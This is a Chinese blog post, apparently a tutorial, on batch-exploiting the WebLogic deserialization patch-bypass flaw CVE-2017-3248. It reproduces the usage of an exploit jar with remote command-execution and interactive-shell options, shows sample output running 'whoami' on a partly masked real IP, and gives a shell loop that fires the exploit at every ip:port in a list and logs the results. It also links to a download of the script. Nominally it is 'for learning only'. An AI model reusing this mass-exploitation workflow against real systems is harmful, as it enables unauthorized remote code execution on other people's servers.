~ 以下内容,仅供学习参考 ~

  weblogic 反序列化补丁绕过漏洞已经出了两个月了,balabala ~~~ 废话不说,拿到该漏洞的利用工具weblogic.jar,但只能一个个检测ip和端口,效率有点低 ~  而我自己又没有能力去重写一个批量检测工具,于是乎就想能不能通过一些非技术手段 ~ 先看下该工具的使用方法:

starnight:shell starnight$ java -jar weblogic.jar
usage: supeream
-B Runtime Blind Execute Command maybe you should select os
type
-C <arg> Execute Command[need set]
-dst <arg> path to dst file
-H <arg> Remote Host[need set]
-https enable https or tls
-noExecPath custom execute path
-os <arg> Os Type [windows,linux]
-P <arg> Remote Port[need set]
-shell enable shell module
-src <arg> path to src file
-T <arg> Payload Type[marshall, collection, streamMessageImpl]
-U Uninstall rmi
-upload enable upload a file

  一般来讲我们只需要提供一个ip和端口就可以进行检测了,像下面这样:

starnight:shell starnight$ java -jar weblogic.jar  -H 220.195.*.197 -P 
检查是否安装rmi实例
rmi已经安装
执行命令:whoami
weblogic starnight:shell starnight$ java -jar weblogic.jar -H 220.195.*.197 -P -shell
检查是否安装rmi实例
rmi已经安装
please input cmd:>whoami
weblogic please input cmd:>

 工具运行的时候,会给出比较详细的信息,试想以下,这些信息只需要保存在一个文本文件中,到时候我们直接查看文本便能清楚的知道,该ip:port是否存在weblogic反序列化补丁绕过漏洞,要是能让该工具自动的从一个保存ip:port的文本文件中,一条条的读取ip:port,然后执行,再将输出信息保存在result.txt中,等程序运行结束,只要查看result.txt即可。

  ~ 怎么搞,当然是写shell脚本啦 ~ 但是,我也不会啊 ~ 没关系,一步步来,我们可以先想想如何去实现这样一个小功能
  ~~ 首先,脚本需要从保存ip:port的列表文件ips.txt中一行行读取,然后分别赋给ip 和 port变量
  ~~ 有了ip 和 port之后,这条命令便能执行了: java -jar weblogic.jar -H xx.xx.xx.xx -P xx, 将结果追加到文件中,使用 ">>"即可
  ~~ 再对脚本做一些修饰,让输出更友好
  ~~ shell脚本内容参考如下:

starnight:shell starnight$ cat exp.sh
var=
while IFS=: read ip port; do
var=$((var + ))
echo [$var] $ip $port
echo "[$var]$ip $port" >> result.txt
java -jar weblogic.jar -H $ip -P $port >> result.txt
echo "" >> result.txt done < ips.txt

  只要短短的几行,便改造成了一个批量脚本,瞬间感觉,我要去学shell编程了 ~

  运行该脚本:./exp.sh      [需要执行权限]

运行结果就不分享了,试试哦 ~

脚本分享百度云:

  链接:http://pan.baidu.com/s/1c1FW2wK  密码:ywm3



weblogic 反序列化补丁绕过漏洞的一个批量检测shell脚本(CVE-2017-3248 )的更多相关文章

  1. 工程师技术(五):Shell脚本的编写及测试、重定向输出的应用、使用特殊变量、编写一个判断脚本、编写一个批量添加用户脚本

    一.Shell脚本的编写及测 目标: 本例要求两个简单的Shell脚本程序,任务目标如下: 1> 编写一个面世问候 /root/helloworld.sh 脚本,执行后显示出一段话“Hello ...

  2. shell编写一个批量添加用户脚本

                                                          shell编写一个批量添加用户脚本 5.1问题 本例要求在虚拟机server0上创建/roo ...

  3. java classpath批量设置shell脚本

    java classpath批量设置shell脚本   注意:linux bash jar文件之间的分隔符是':'    export JAR_HOME=path to directory which ...

  4. 一个简单的shell脚本

    一个简单的shell脚本 一个简单的shell脚本 编写 假设我想知道目前系统上有多少人登录,使用who命令可以告诉你现在系统有谁登录: 1.[KANO@kelvin ~]$ who2.KANO tt ...

  5. Linux定时对日志批量打包Shell脚本及定时任务crontab 详细用法

    一.需求背景     因此次项目的生产环境中部署了多套系统,每天会产生大量的日志(数百GB的量),侵占了服务器宝贵的存储资源空间.为了有效缓解服务器存储压力,考虑通过Linux的Shell脚本结合cr ...

  6. 一个不错的shell 脚本教程 入门级

    一个很不错的bash脚本编写教程,至少没接触过BASH的也能看懂     建立一个脚本 Linux中有好多中不同的shell,但是通常我们使用bash (bourne again shell) 进行s ...

  7. 如何在linux下编写一个简单的Shell脚本程序

    在了解了linux终端和其搭配的基本Shell(默认为bash)的基础下,我们就可以在终端中用vi/vim编辑器编写一个shell的脚本程序了 Shell既为一种命令解释解释工具,又是一种脚本编程语言 ...

  8. 一个简单的Shell脚本(解决windows上文本在macos上乱码问题)

    之所以有这一篇文章,是因为之前我写过的一篇文章:“解决Mac上打开txt文件乱码问题”:传送门: https://www.cnblogs.com/chester-cs/p/11784079.html ...

  9. iOS 批量打包--Shell脚本

    由于公司有批量打包的需要,只是渠道号不一样,网上搜索一番,大致有两个方式:a) 从源程序一次性打出所有渠道的ipa包,大概的思路就是利用脚本循环执行打包过程,而每次打包前都通过脚本修改项目中存放渠道号 ...

随机推荐

  1. CentOS7 修改 启动级别

    1. centos7 之前应该使用init 的启动脚本 不支持并行 速度比较慢, centos7 开始使用systemd 的模式 提高了开机的性能 所以之前的init 脚本修改 启动级别应该就无效了 ...

  2. WDS迁移注意事项

    先说背景:公司使用WDS来部署操作系统,目前DHCP和WDS都安装在同一台服务器上,但是此服务器已过保,所以筹划迁移,将WDS和DHCP分别迁移到两台服务器上.迁移计划是保持WDS暂时不动,DHCP先 ...

  3. 数据库事务的四大特性以及4种事务的隔离级别-以及对应的5种JDBC事务隔离级别

    本篇讲诉数据库中事务的四大特性(ACID),并且将会详细地说明事务的隔离级别. 如果一个数据库声称支持事务的操作,那么该数据库必须要具备以下四个特性: ⑴ 原子性(Atomicity) 原子性是指事务 ...

  4. VS2012 Nuget 安装 AutoMapper时报错的解决方法

    VS2012 在.net 4.0下安装AutoMapper时,会报以下错误: “AutoMapper”已拥有为“Standard.Library”定义的依赖项. 'AutoMapper' alread ...

  5. vyos 基础配置

    vyos 基础配置 http://www.lowefamily.com.au/2015/11/29/using-a-vyos-router-with-hyper-v/1/http://thomasvo ...

  6. 谷歌钦定的编程语言Kotlin大揭秘

    第一时间关注程序猿(媛)身边的故事 谷歌钦定的编程语言Kotlin大揭秘 语法+高级特性+实现原理:移动开发者升职加薪宝典! 谷歌作为世界级的科技公司巨头,强悍的技术研发与创新能力使其一直是业界的楷模 ...

  7. 解题:TJOI 2015 组合数学

    题面 通过这个题理解了一下反链的概念,更新在图论知识点里了 每个点向右和下连边可以建出一张图,这个题事实上是让我们求图的最小链覆盖.Dilworth定理告诉我们,最小链覆盖等于最长反链(反链:DAG中 ...

  8. jenkins(五)---jenkins添加项目

    一.新建项目 二.配置项目 配置远程仓库:主要目的是从远程仓库拉取代码下来 实时构建 Poll SCM 定期检查 如果源码有变更 就build 否则不build build periodically ...

  9. Java入门:基础算法之获取用户输入

    本部分演示如何获取用户输入.我们使用Scanner类来得到用户输入.下面的实例代码中演示了如何获取用户输入的字符串.整数和float数据.主要用到了以下方法: 1)public String next ...

  10. CSS之float样式

    一.简介 Css样式的float浮动属性,用于设置标签对象(如:<div>标签盒子.<span>标签.<a>标签.<em>标签等html标签)的浮动布局 ...